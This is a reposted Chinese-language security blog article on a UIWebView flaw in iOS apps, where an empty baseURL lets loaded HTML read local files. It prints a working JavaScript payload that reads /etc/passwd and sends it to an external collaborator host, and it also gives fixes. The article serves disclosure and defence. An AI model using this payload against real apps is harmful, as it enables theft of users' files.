内容简介:本篇文章会介绍一些我曾经在某些ios应用中看到的潜在安全问题。我认为程序开发者(同时也包括漏洞挖掘人员)应该意识到这个错误的配置,同时能保证webview的安全性。下面阐述的问题相当简单,但是常常被(开发者)错误的配置。当你想要在代码中配置一个webview的时候, 你通常会使用如下的代码:
本篇文章会介绍一些我曾经在某些ios应用中看到的潜在安全问题。我认为程序开发者(同时也包括漏洞挖掘人员)应该意识到这个错误的配置,同时能保证webview的安全性。
下面阐述的问题相当简单,但是常常被(开发者)错误的配置。当你想要在代码中配置一个webview的时候, 你通常会使用如下的代码:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]
很多开发人员都武断的认为,只要将baseURL设置为@””(空字符串)就是安全的。因为只要baseURL是空,那么攻击者就不能让webview加载任意有问题的网站,但显然这个观点是错误的。
事实上,当baseURL参数被设置成空字符串之后,有可能令攻击者访问到app的文件系统(通常来说会使用file://前缀)以及任意其他的网站,这样攻击者就绕过了SOP保护。
可以使用很多种方式利用这个错误的配置,其中最常见的是窃取文件,也就是说攻击者可以在webview中打开任意他能访问到的文件。举个例子, 首先看看下面这个简单的xss payload:
<script> var request = new XMLHttpRequest(); request.open("GET","file:///etc/passwd",false); request.send(); request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false); request.send(request.responseText); </script>
这段payload会直接打开手机的”/etc/passwd”文件,并将文件内容发送到攻击者的服务器上(在这个例子中, 我将使用Burp Collaborator去验证收到的请求)。
我只是简单的将其保存为html文件,而后同步到我的icloud上, 最后使用app分享给被攻击者(通常来说是通过iOS11之后才出现的名为‘File’的app)。
随后,当用户打开文件的时候, 我自然而然就拿到了对方的passwd文件:
其他潜在的攻击方式包括以下几种:
- 使用一个内置的app打开url或者浏览器: 攻击者可以发送一个有危害的url给受害者(比如通过聊天工具),只要受害者点击链接就会在应用的webview中打开链接。
- URL schema滥用: 攻击者通过外部(比如:邮件或者iMessage)向受害者发送一个有害的URL。只要url schema在一个webview钟打开这个链接, 那么利用就有可能进行。
最简单的修复方案是让baseURL等于’about:blank’,而不是空字符串,例如:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]
现在, webview运行在iphone的沙盒之内。攻击者可以实现一个简单的弹框, 但是没有办法窃取任何的数据或者和有危害的服务器通信。这个解决方案在某种场合下可能会影响应用的正常功能, 比如开发者从沙盒内加载了一张图片。在这个前提下, 你最好设计一个应用可以访问的目录、文件或者服务器的白名单。
如果开发者应该使用最新的webview类(”WKWebView”),而不是旧的webview类(”UIWebView”),那么可以令上诉攻击的成功率大大下降,以此提高应用安全性。WKWebView在默认情况下不运距AJAX请问访问本地问津系统(因此这篇博客使用的攻击方式在这种情况下无法正常使用,除非开发者显示的激活了这个功能)。除此之外,它还允许开发者启用或者禁止javascript代码的执行。
我希望上述的内容可以帮助到各位。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- ABP开发框架前后端开发系列---(14)基于Winform的ABP快速开发框架
- Java开发人员的Flex开发
- Java开发人员的Flex开发
- 行为驱动开发让开发做正确事
- 让开发者专注于应用开发,OpenCenter 3.0 开发者预览版发布
- 让开发者专注于应用开发,OpenCenter 3.0 开发者预览版发布
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。